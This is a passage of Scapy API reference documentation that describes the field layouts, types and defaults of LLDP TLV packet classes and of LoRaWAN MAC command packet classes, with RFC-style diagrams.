                   Fig. LLDPDUManagementAddress                   


LLDPDUManagementAddress fields






	_type

	BitEnumField

	8



	_length

	BitFieldLenField  (9 bits)

	None



	_management_address_string_length

	BitFieldLenField  (8 bits)

	None



	management_address_subtype

	ByteEnumField

	0



	management_address

	XStrLenField

	b''



	interface_numbering_subtype

	ByteEnumField

	1



	interface_number

	BitField  (32 bits)

	0



	_oid_string_length

	BitFieldLenField  (8 bits)

	None



	object_id

	XStrLenField

	b''















	
class scapy.contrib.lldp.LLDPDUPortDescription(_pkt, /, *, _type=4, _length=None, description=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L486-L494]

	Bases: LLDPDU

ieee 802.1ab-2016 - sec. 8.5.5 / p. 29


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     TYPE    |      LENGTH     |          DESCRIPTION          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. LLDPDUPortDescription                    


LLDPDUPortDescription fields






	_type

	BitEnumField

	4



	_length

	BitFieldLenField  (9 bits)

	None



	description

	StrLenField

	b''















	
class scapy.contrib.lldp.LLDPDUPortID(_pkt, /, *, _type=2, _length=None, subtype=0, family=0, id=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L388-L443]

	Bases: LLDPDU

ieee 802.1ab-2016 - sec. 8.5.3 / p. 26


	
LLDP_PORT_ID_TLV_SUBTYPES = {0: 'reserved', 1: 'interface alias', 2: 'port component', 3: 'MAC address', 4: 'network address', 5: 'interface name', 6: 'agent circuit ID', 7: 'locally assigned'}

	




	
SUBTYPE_AGENT_CIRCUIT_ID = 6

	




	
SUBTYPE_INTERFACE_ALIAS = 1

	




	
SUBTYPE_INTERFACE_NAME = 5

	




	
SUBTYPE_LOCALLY_ASSIGNED = 7

	




	
SUBTYPE_MAC_ADDRESS = 3

	




	
SUBTYPE_NETWORK_ADDRESS = 4

	




	
SUBTYPE_PORT_COMPONENT = 2

	




	
SUBTYPE_RESERVED = 0

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     TYPE    |      LENGTH     |    SUBTYPE    |     FAMILY    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. LLDPDUPortID                         


LLDPDUPortID fields






	_type

	BitEnumField

	2



	_length

	BitFieldLenField  (9 bits)

	None



	subtype

	ByteEnumField

	0



	family

	ByteEnumField (Cond)

	0



	id

	MultipleTypeField (MACField, IPField, IP6Field, StrLenField)

	b''















	
class scapy.contrib.lldp.LLDPDUSystemCapabilities(_pkt, /, *, _type=7, _length=4, reserved_5_available=0, reserved_4_available=0, reserved_3_available=0, reserved_2_available=0, reserved_1_available=0, two_port_mac_relay_available=0, s_vlan_component_available=0, c_vlan_component_available=0, station_only_available=0, docsis_cable_device_available=0, telephone_available=0, router_available=0, wlan_access_point_available=0, mac_bridge_available=0, repeater_available=0, other_available=0, reserved_5_enabled=0, reserved_4_enabled=0, reserved_3_enabled=0, reserved_2_enabled=0, reserved_1_enabled=0, two_port_mac_relay_enabled=0, s_vlan_component_enabled=0, c_vlan_component_enabled=0, station_only_enabled=0, docsis_cable_device_enabled=0, telephone_enabled=0, router_enabled=0, wlan_access_point_enabled=0, mac_bridge_enabled=0, repeater_enabled=0, other_enabled=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L519-L566]

	Bases: LLDPDU

ieee 802.1ab-2016 - sec. 8.5.8 / p. 31


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     TYPE    |      LENGTH     |R|R|R|R|R|T|S|C|S|D|T|R|W|M|R|O|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|R|R|R|R|R|T|S|C|S|D|T|R|W|M|R|O|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. LLDPDUSystemCapabilities                   


LLDPDUSystemCapabilities fields






	_type

	BitEnumField

	7



	_length

	BitFieldLenField  (9 bits)

	4



	reserved_5_available

	BitField  (1 bit)

	0



	reserved_4_available

	BitField  (1 bit)

	0



	reserved_3_available

	BitField  (1 bit)

	0



	reserved_2_available

	BitField  (1 bit)

	0



	reserved_1_available

	BitField  (1 bit)

	0



	two_port_mac_relay_available

	BitField  (1 bit)

	0



	s_vlan_component_available

	BitField  (1 bit)

	0



	c_vlan_component_available

	BitField  (1 bit)

	0



	station_only_available

	BitField  (1 bit)

	0



	docsis_cable_device_available

	BitField  (1 bit)

	0



	telephone_available

	BitField  (1 bit)

	0



	router_available

	BitField  (1 bit)

	0



	wlan_access_point_available

	BitField  (1 bit)

	0



	mac_bridge_available

	BitField  (1 bit)

	0



	repeater_available

	BitField  (1 bit)

	0



	other_available

	BitField  (1 bit)

	0



	reserved_5_enabled

	BitField  (1 bit)

	0



	reserved_4_enabled

	BitField  (1 bit)

	0



	reserved_3_enabled

	BitField  (1 bit)

	0



	reserved_2_enabled

	BitField  (1 bit)

	0



	reserved_1_enabled

	BitField  (1 bit)

	0



	two_port_mac_relay_enabled

	BitField  (1 bit)

	0



	s_vlan_component_enabled

	BitField  (1 bit)

	0



	c_vlan_component_enabled

	BitField  (1 bit)

	0



	station_only_enabled

	BitField  (1 bit)

	0



	docsis_cable_device_enabled

	BitField  (1 bit)

	0



	telephone_enabled

	BitField  (1 bit)

	0



	router_enabled

	BitField  (1 bit)

	0



	wlan_access_point_enabled

	BitField  (1 bit)

	0



	mac_bridge_enabled

	BitField  (1 bit)

	0



	repeater_enabled

	BitField  (1 bit)

	0



	other_enabled

	BitField  (1 bit)

	0















	
class scapy.contrib.lldp.LLDPDUSystemDescription(_pkt, /, *, _type=6, _length=None, description=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L508-L516]

	Bases: LLDPDU

ieee 802.1ab-2016 - sec. 8.5.7 / p. 31


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     TYPE    |      LENGTH     |          DESCRIPTION          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. LLDPDUSystemDescription                   


LLDPDUSystemDescription fields






	_type

	BitEnumField

	6



	_length

	BitFieldLenField  (9 bits)

	None



	description

	StrLenField

	b''















	
class scapy.contrib.lldp.LLDPDUSystemName(_pkt, /, *, _type=5, _length=None, system_name=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L497-L505]

	Bases: LLDPDU

ieee 802.1ab-2016 - sec. 8.5.6 / p. 30


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     TYPE    |      LENGTH     |          SYSTEM NAME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. LLDPDUSystemName                       


LLDPDUSystemName fields






	_type

	BitEnumField

	5



	_length

	BitFieldLenField  (9 bits)

	None



	system_name

	StrLenField

	b''















	
class scapy.contrib.lldp.LLDPDUTimeToLive(_pkt, /, *, _type=3, _length=2, ttl=20)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L446-L462]

	Bases: LLDPDU

ieee 802.1ab-2016 - sec. 8.5.4 / p. 29


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     TYPE    |      LENGTH     |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. LLDPDUTimeToLive                       


LLDPDUTimeToLive fields






	_type

	BitEnumField

	3



	_length

	BitField  (9 bits)

	2



	ttl

	ShortField

	20















	
exception scapy.contrib.lldp.LLDPInvalidFrameStructure[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L58-L63]

	Bases: Scapy_Exception

basic frame structure not standard conform
(missing TLV, invalid order or multiplicity)






	
exception scapy.contrib.lldp.LLDPInvalidLengthField[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L80-L84]

	Bases: Scapy_Exception

invalid value of length field






	
exception scapy.contrib.lldp.LLDPInvalidTLVCount[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L73-L77]

	Bases: Scapy_Exception

invalid number of entries for a specific TLV type






	
exception scapy.contrib.lldp.LLDPMissingLowerLayer[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L66-L70]

	Bases: Scapy_Exception

first layer below first LLDPDU must be Ethernet or Dot1q






	
class scapy.contrib.lldp.ThreeBytesEnumField(name, default, enum)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L669-L672]

	Bases: EnumField, ThreeBytesField








            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.loraphy2wan

LoRa PHY to WAN Layer

Initially developed @PentHertz
and improved at @Trend Micro

Spec: lorawantm_specification v1.1


	
class scapy.contrib.loraphy2wan.ADRParamSetupAns(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L358-L360]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.loraphy2wan.ADRParamSetupReq(_pkt, /, *, Limit_exp=0, Delay_exp=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L353-L355]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|LIMIT E|DELAY E|
+-+-+-+-+-+-+-+-+

                      Fig. ADRParamSetupReq                       


ADRParamSetupReq fields






	Limit_exp

	BitField  (4 bits)

	0



	Delay_exp

	BitField  (4 bits)

	0















	
class scapy.contrib.loraphy2wan.ADRparam(_pkt, /, *, Limit_exp=0, Delay_exp=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L347-L350]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|LIMIT E|DELAY E|
+-+-+-+-+-+-+-+-+

                          Fig. ADRparam                           


ADRparam fields






	Limit_exp

	BitField  (4 bits)

	0



	Delay_exp

	BitField  (4 bits)

	0















	
class scapy.contrib.loraphy2wan.DLsettings(_pkt, /, *, OptNeg=0, RX1DRoffset=0, RX2_Data_rate=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L189-L193]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|O|RX1DR|RX2 DAT|
+-+-+-+-+-+-+-+-+

                         Fig. DLsettings                          


DLsettings fields






	OptNeg

	BitField  (1 bit)

	0



	RX1DRoffset

	XBitField  (3 bits)

	0



	RX2_Data_rate

	XBitField  (4 bits)

	0















	
class scapy.contrib.loraphy2wan.DataRate_TXPower(_pkt, /, *, DataRate=0, TXPower=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L139-L142]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DATARAT|TXPOWER|
+-+-+-+-+-+-+-+-+

                      Fig. DataRate_TXPower                       


DataRate_TXPower fields






	DataRate

	XBitField  (4 bits)

	0



	TXPower

	XBitField  (4 bits)

	0















	
class scapy.contrib.loraphy2wan.DevAddrElem(_pkt, /, *, NwkID=0, NwkAddr=b'\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L80-L83]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     NWKID     |                    NWKADDR                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. DevAddrElem                         


DevAddrElem fields






	NwkID

	XByteField

	0



	NwkAddr

	XLE3BytesField

	b'\x00\x00\x00'















	
class scapy.contrib.loraphy2wan.DevLoraWANversion(_pkt, /, *, RFU=0, Minor=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L330-L333]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RFU  | MINOR |
+-+-+-+-+-+-+-+-+

                      Fig. DevLoraWANversion                      


DevLoraWANversion fields






	RFU

	BitField  (4 bits)

	0



	Minor

	BitField  (4 bits)

	1















	
class scapy.contrib.loraphy2wan.DevStatusAns(_pkt, /, *, RFU=0, Margin=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L231-L233]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RFU|   MARGIN  |
+-+-+-+-+-+-+-+-+

                        Fig. DevStatusAns                         


DevStatusAns fields






	RFU

	XBitField  (2 bits)

	0



	Margin

	XBitField  (6 bits)

	0















	
class scapy.contrib.loraphy2wan.DevStatusAns_Status(_pkt, /, *, RFU=0, Margin=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L225-L228]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RFU|   MARGIN  |
+-+-+-+-+-+-+-+-+

                     Fig. DevStatusAns_Status                     


DevStatusAns_Status fields






	RFU

	XBitField  (2 bits)

	0



	Margin

	XBitField  (6 bits)

	0















	
class scapy.contrib.loraphy2wan.DevStatusReq(_pkt, /, *, Battery=0, Margin=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L219-L222]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    BATTERY    |     MARGIN    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. DevStatusReq                         


DevStatusReq fields






	Battery

	ByteEnumField

	0



	Margin

	ByteField

	0















	
class scapy.contrib.loraphy2wan.DeviceTimeAns(_pkt, /, *, SecondsSinceEpoch=0, FracSecond=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L368-L371]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       SECONDSSINCEEPOCH                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   FRACSECOND  |
+-+-+-+-+-+-+-+-+

                        Fig. DeviceTimeAns                        


DeviceTimeAns fields






	SecondsSinceEpoch

	IntField

	0



	FracSecond

	ByteField

	0















	
class scapy.contrib.loraphy2wan.DeviceTimeReq(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L363-L365]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.loraphy2wan.DlChannelAns(_pkt, /, *, Status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L325-L327]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |
+-+-+-+-+-+-+-+-+

                        Fig. DlChannelAns                         


DlChannelAns fields






	Status

	ByteField

	0















	
class scapy.contrib.loraphy2wan.DlChannelReq(_pkt, /, *, ChIndex=0, Freq=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L319-L322]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    CHINDEX    |                      FREQ                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. DlChannelReq                         


DlChannelReq fields






	ChIndex

	ByteField

	0



	Freq

	X3BytesField

	0















	
class scapy.contrib.loraphy2wan.DrRange(_pkt, /, *, MaxDR=0, MinDR=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L236-L239]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MAXDR | MINDR |
+-+-+-+-+-+-+-+-+

                           Fig. DrRange                           


DrRange fields






	MaxDR

	XBitField  (4 bits)

	0



	MinDR

	XBitField  (4 bits)

	0















	
class scapy.contrib.loraphy2wan.DutyCycleAns(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L184-L186]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.loraphy2wan.DutyCyclePL(_pkt, /, *, MaxDCycle=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L174-L176]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MAXDCYC|
+-+-+-+-+

                         Fig. DutyCyclePL                         


DutyCyclePL fields






	MaxDCycle

	BitField  (4 bits)

	0















	
class scapy.contrib.loraphy2wan.DutyCycleReq(_pkt, /, *, MaxDCycle=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L179-L181]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MAXDCYC|
+-+-+-+-+

                        Fig. DutyCycleReq                         


DutyCycleReq fields






	MaxDCycle

	BitField  (4 bits)

	0















	
class scapy.contrib.loraphy2wan.EIRP_DwellTime(_pkt, /, *, RFU=0, DownlinkDwellTime=0, UplinkDwellTime=0, MaxEIRP=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L301-L306]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RFU|D|U|MAXEIRP|
+-+-+-+-+-+-+-+-+

                       Fig. EIRP_DwellTime                        


EIRP_DwellTime fields






	RFU

	BitField  (2 bits)

	0



	DownlinkDwellTime

	BitEnumField

	0



	UplinkDwellTime

	BitEnumField

	0



	MaxEIRP

	BitEnumField

	0















	
class scapy.contrib.loraphy2wan.FCtrl_DownLink(_pkt, /, *, ADR=0, ADRACKReq=0, ACK=0, FPending=0, FOptsLen=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L44-L53]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L52-L53]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|A|A|A|F|FOPTSLE|
+-+-+-+-+-+-+-+-+

                       Fig. FCtrl_DownLink                        


FCtrl_DownLink fields






	ADR

	BitField  (1 bit)

	0



	ADRACKReq

	BitField  (1 bit)

	0



	ACK

	BitField  (1 bit)

	0



	FPending

	BitField  (1 bit)

	0



	FOptsLen

	BitFieldLenField  (4 bits)

	0















	
class scapy.contrib.loraphy2wan.FCtrl_Link(_pkt, /, *, ADR=0, ADRACKReq=0, ACK=0, UpClassB_DownFPending=0, FOptsLen=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L56-L65]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L64-L65]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|A|A|A|U|FOPTSLE|
+-+-+-+-+-+-+-+-+

                         Fig. FCtrl_Link                          


FCtrl_Link fields






	ADR

	BitField  (1 bit)

	0



	ADRACKReq

	BitField  (1 bit)

	0



	ACK

	BitField  (1 bit)

	0



	UpClassB_DownFPending

	BitField  (1 bit)

	0



	FOptsLen

	BitFieldLenField  (4 bits)

	0















	
class scapy.contrib.loraphy2wan.FCtrl_UpLink(_pkt, /, *, ADR=0, ADRACKReq=0, ACK=0, ClassB=0, FOptsLen=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L68-L77]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L76-L77]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|A|A|A|C|FOPTSLE|
+-+-+-+-+-+-+-+-+

                        Fig. FCtrl_UpLink                         


FCtrl_UpLink fields






	ADR

	BitField  (1 bit)

	0



	ADRACKReq

	BitField  (1 bit)

	0



	ACK

	BitField  (1 bit)

	0



	ClassB

	BitField  (1 bit)

	0



	FOptsLen

	BitFieldLenField  (4 bits)

	0















	
class scapy.contrib.loraphy2wan.FHDR(_pkt, /, *, DevAddr=[b''], FCtrl=[b''], FCnt=0, FOpts_up=[b''], FOpts_down=[b''])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L566-L590]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DEVADDR            |             FCTRL             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              FCNT             |            FOPTS UP           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FOPTS DOWN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. FHDR                             


FHDR fields






	DevAddr

	PacketListField (Cond)

	[b'']



	FCtrl

	PacketListField (Cond)

	[b'']



	FCnt

	LEShortField (Cond)

	0



	FOpts_up

	PacketListField (Cond)

	[b'']



	FOpts_down

	PacketListField (Cond)

	[b'']















	
class scapy.contrib.loraphy2wan.FOpts(_pkt, /, *, FOpts_up=[b''], FOpts_down=[b''])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L530-L545]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            FOPTS UP           |           FOPTS DOWN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. FOpts                            


FOpts fields






	FOpts_up

	PacketListField (Cond)

	[b'']



	FOpts_down

	PacketListField (Cond)

	[b'']















	
